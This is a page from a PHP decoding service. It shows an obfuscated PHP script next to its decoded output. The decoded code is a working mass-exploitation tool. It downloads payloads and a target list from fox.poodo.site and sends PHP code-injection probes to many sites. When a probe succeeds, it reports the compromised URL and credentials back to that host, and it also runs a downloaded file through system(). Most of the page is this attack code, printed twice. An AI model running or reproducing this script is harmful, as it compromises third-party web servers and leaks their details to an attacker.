Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto ybVVe; wb3dy: ini_set("\155\145\155\x6f\x72\x79\137\154\151\155\x69\x74", "\x..

Decoded Output download

<?php 
 goto ybVVe; wb3dy: ini_set("memory_limit", "512M"); goto RNWl2; NnGG1: while (!feof($f)) { $url = trim(fgets($f)); $post_par = "<?php echo 409723*20;?>"; $AC->post($url, $post_par); } goto EnMbY; mCVW8: unlink("get_4577.txt"); goto lqDp6; qVf6K: file_put_contents("roll.txt", http_get_contents("http://fox.poodo.site/st/roll.txt")); goto E9QKK; odsf1: require_once "roll.txt"; goto Ipvip; E9QKK: file_put_contents("angry.txt", http_get_contents("http://fox.poodo.site/st/angry.txt")); goto odsf1; EnMbY: $AC->execute(50); goto mCVW8; KnK3m: $AC = new AngryCurl("callback_function"); goto vVOFz; ic00A: file_put_contents("list.txt", http_get_contents("http://fox.poodo.site/st/list.txt")); goto qVf6K; lqDp6: system("php inc.class.4577.php"); goto Yd2sL; vVOFz: $AC->load_useragent_list("list.txt"); goto sIFOq; zTSzp: function http_get_contents($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $urlPage = curl_exec($ch); curl_close($ch); return $urlPage; } goto ddhRY; ddhRY: file_put_contents("inc.class.4577.php", http_get_contents("http://fox.poodo.site/st/get_4577.txt")); goto ic00A; RNWl2: date_default_timezone_set("Europe/Kiev"); goto zTSzp; dg85a: file_put_contents("get_4577.txt", http_get_contents("http://fox.poodo.site/get_cms34577.php")); goto khKLW; Ipvip: require_once "angry.txt"; goto dg85a; khKLW: function callback_function($response, $info, $request) { if (strpos($response, "8194460") !== false) { $login = "4577"; $password = ''; echo PHP_EOL . " ===================== ok: =====================  " . $info["url"] . " - " . $login . ":" . $password . '' . PHP_EOL; file_get_contents("http://fox.poodo.site/cms3.php?we=" . base64_encode($info["url"]) . "&fe=" . base64_encode("inc.class.4577.php") . "&cm=" . base64_encode("3") . "&sl=" . base64_encode($login) . "&sp=" . base64_encode($password)); goto end; } end: return; } goto KnK3m; ybVVe: ini_set("max_execution_time", 0); goto wb3dy; sIFOq: $f = fopen("get_4577.txt", "r"); goto NnGG1; Yd2sL: ?> 

Did this file decode correctly?

Original Code

<?php
 goto ybVVe; wb3dy: ini_set("\155\145\155\x6f\x72\x79\137\154\151\155\x69\x74", "\x35\x31\x32\x4d"); goto RNWl2; NnGG1: while (!feof($f)) { $url = trim(fgets($f)); $post_par = "\74\77\x70\x68\x70\40\x65\x63\150\157\x20\x34\x30\x39\67\62\63\x2a\62\60\73\77\76"; $AC->post($url, $post_par); } goto EnMbY; mCVW8: unlink("\x67\x65\x74\x5f\x34\65\x37\67\56\164\x78\164"); goto lqDp6; qVf6K: file_put_contents("\162\157\154\154\56\164\170\164", http_get_contents("\150\x74\164\160\x3a\x2f\x2f\x66\157\x78\56\160\157\157\x64\x6f\56\163\151\x74\x65\57\163\164\57\162\157\154\x6c\x2e\x74\170\x74")); goto E9QKK; odsf1: require_once "\162\157\x6c\154\x2e\164\x78\164"; goto Ipvip; E9QKK: file_put_contents("\141\x6e\147\162\171\56\x74\170\164", http_get_contents("\x68\x74\x74\x70\x3a\57\x2f\x66\157\170\56\160\x6f\157\x64\157\56\x73\x69\164\145\57\163\x74\57\x61\x6e\x67\x72\x79\x2e\x74\170\x74")); goto odsf1; EnMbY: $AC->execute(50); goto mCVW8; KnK3m: $AC = new AngryCurl("\143\141\154\154\x62\141\x63\x6b\x5f\x66\x75\156\x63\x74\x69\x6f\156"); goto vVOFz; ic00A: file_put_contents("\154\x69\163\x74\56\x74\170\164", http_get_contents("\x68\164\164\x70\x3a\x2f\57\146\x6f\x78\56\x70\157\157\144\157\x2e\163\x69\164\145\x2f\x73\x74\57\154\151\163\164\56\x74\x78\x74")); goto qVf6K; lqDp6: system("\x70\x68\x70\40\151\x6e\143\x2e\x63\154\141\163\x73\56\x34\65\67\x37\56\160\x68\x70"); goto Yd2sL; vVOFz: $AC->load_useragent_list("\x6c\151\x73\x74\56\x74\170\164"); goto sIFOq; zTSzp: function http_get_contents($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $urlPage = curl_exec($ch); curl_close($ch); return $urlPage; } goto ddhRY; ddhRY: file_put_contents("\x69\x6e\x63\56\x63\154\x61\163\163\x2e\x34\65\67\x37\56\160\x68\160", http_get_contents("\x68\164\164\160\72\x2f\x2f\146\x6f\170\x2e\160\157\157\144\157\x2e\x73\151\x74\145\57\x73\164\x2f\147\x65\164\137\x34\65\67\x37\x2e\x74\x78\164")); goto ic00A; RNWl2: date_default_timezone_set("\105\165\x72\157\x70\x65\x2f\x4b\x69\x65\166"); goto zTSzp; dg85a: file_put_contents("\147\145\x74\x5f\x34\x35\67\x37\x2e\x74\170\x74", http_get_contents("\150\164\x74\160\x3a\x2f\x2f\146\x6f\x78\56\160\157\157\144\x6f\56\x73\x69\x74\145\57\147\x65\164\137\143\x6d\x73\x33\x34\65\67\x37\x2e\160\150\x70")); goto khKLW; Ipvip: require_once "\141\x6e\x67\162\171\x2e\164\x78\x74"; goto dg85a; khKLW: function callback_function($response, $info, $request) { if (strpos($response, "\70\61\71\x34\x34\66\x30") !== false) { $login = "\x34\65\67\x37"; $password = ''; echo PHP_EOL . "\x20\75\x3d\75\75\x3d\75\x3d\x3d\75\75\75\75\x3d\75\x3d\75\x3d\75\x3d\x3d\75\x20\x6f\x6b\72\x20\75\x3d\75\75\75\x3d\x3d\x3d\x3d\x3d\75\75\x3d\x3d\x3d\x3d\75\75\75\x3d\x3d\40\40" . $info["\x75\x72\x6c"] . "\40\55\x20" . $login . "\x3a" . $password . '' . PHP_EOL; file_get_contents("\150\x74\x74\160\72\x2f\57\x66\157\170\56\160\157\x6f\144\x6f\x2e\x73\151\x74\x65\x2f\143\155\x73\63\x2e\160\x68\x70\x3f\167\145\75" . base64_encode($info["\165\x72\154"]) . "\x26\x66\x65\x3d" . base64_encode("\151\x6e\x63\56\143\x6c\141\163\x73\x2e\x34\65\67\67\56\160\x68\x70") . "\46\143\x6d\75" . base64_encode("\63") . "\x26\x73\x6c\x3d" . base64_encode($login) . "\46\x73\160\75" . base64_encode($password)); goto end; } end: return; } goto KnK3m; ybVVe: ini_set("\x6d\x61\x78\x5f\x65\x78\145\143\x75\x74\151\x6f\x6e\137\x74\151\x6d\145", 0); goto wb3dy; sIFOq: $f = fopen("\x67\x65\x74\x5f\x34\65\67\x37\x2e\164\x78\x74", "\162"); goto NnGG1; Yd2sL: ?>

Function Calls

None

Variables

None

Stats

MD5 ad227914248b7ecf24a5660db4c1bb57
Eval Count 0
Decode Time 44 ms